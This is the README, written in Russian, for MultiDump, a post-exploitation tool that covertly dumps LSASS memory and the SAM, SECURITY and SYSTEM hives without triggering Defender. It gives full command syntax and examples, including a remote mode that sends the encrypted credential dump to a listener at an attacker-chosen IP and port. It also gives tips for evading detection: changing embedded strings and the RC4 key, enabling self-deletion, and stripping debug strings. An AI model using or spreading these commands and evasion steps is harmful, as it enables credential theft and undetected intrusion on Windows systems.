
MultiDump — это инструмент для пост-эксплуатации, предназначенный для скрытного дампа и извлечения памяти LSASS.
MultiDump — это инструмент для постэксплуатации, написанный на C, предназначенный для скрытного извлечения памяти LSASS без срабатывания оповещений Defender, с обработчиком на Python.

Blog post: https://xreous.io/posts/multidump
MultiDump поддерживает дамп LSASS через ProcDump.exe или comsvc.dll и предлагает два режима: локальный, который шифрует и сохраняет файл дампа локально, и удалённый, отправляющий дамп обработчику для расшифровки и анализа.
__ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable verbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for MultiDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
Как и для всех инструментов, связанных с LSASS, требуются права администратора/SeDebugPrivilege.
Обработчик зависит от Pypykatz для разбора дампа LSASS и impacket для разбора сохранённых реестров. Они должны быть установлены в вашей среде. Если вы видите ошибку All detection methods failed, скорее всего, версия Pypykatz устарела.
По умолчанию MultiDump использует метод Comsvc.dll и сохраняет зашифрованный дамп в текущем каталоге.
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./MultiDumpHandler.py -l dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
Если используется --procdump, на диск будет записан ProcDump.exe для дампа LSASS.
В cmd обязательно использовать --procdump, иначе произойдёт ошибка, согласно #5; рекомендуется по возможности всегда использовать powershell.
В удалённом режиме MultiDump подключается к слушателю обработчика.
./MultiDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
Ключ шифруется с IP-адресом и портом обработчика. Когда MultiDump подключается через прокси, обработчик должен использовать параметр --override-ip, чтобы вручную указать IP-адрес для генерации ключа в удалённом режиме, обеспечивая корректную расшифровку путём сопоставления IP-адреса расшифровки с ожидаемым IP, заданным в MultiDump через -r.
Дополнительная опция для дампа кустов SAM, SECURITY и SYSTEM доступна с помощью --reg; процесс расшифровки такой же, как для дампов LSASS. Это скорее удобная функция, упрощающая сбор информации после эксплуатации.
Откройте в Visual Studio, соберите в режиме Release.
Рекомендуется изменить бинарный файл перед компиляцией, например, заменить статические строки или RC4-ключ, используемый для их шифрования. Для этого включён дополнительный проект Visual Studio EncryptionHelper. Просто измените ключ или строки, и вывод скомпилированного EncryptionHelper.exe можно вставить в MultiDump.c и Common.h.
Самоудаление можно включить, раскомментировав следующую строку в Common.h:
#define SELF_DELETION
Чтобы дополнительно затруднить анализ строк, большинство выходных сообщений можно исключить из компиляции, закомментировав следующую строку в Debug.h:
//#define DEBUG
MultiDump может быть обнаружен на Windows 10 22H2 (19045) (вроде бы), и я реализовал исправление (вроде бы); исследование и реализация заслуживают отдельного поста в блоге: https://xre0us.io/posts/saving-lsass-from-defender/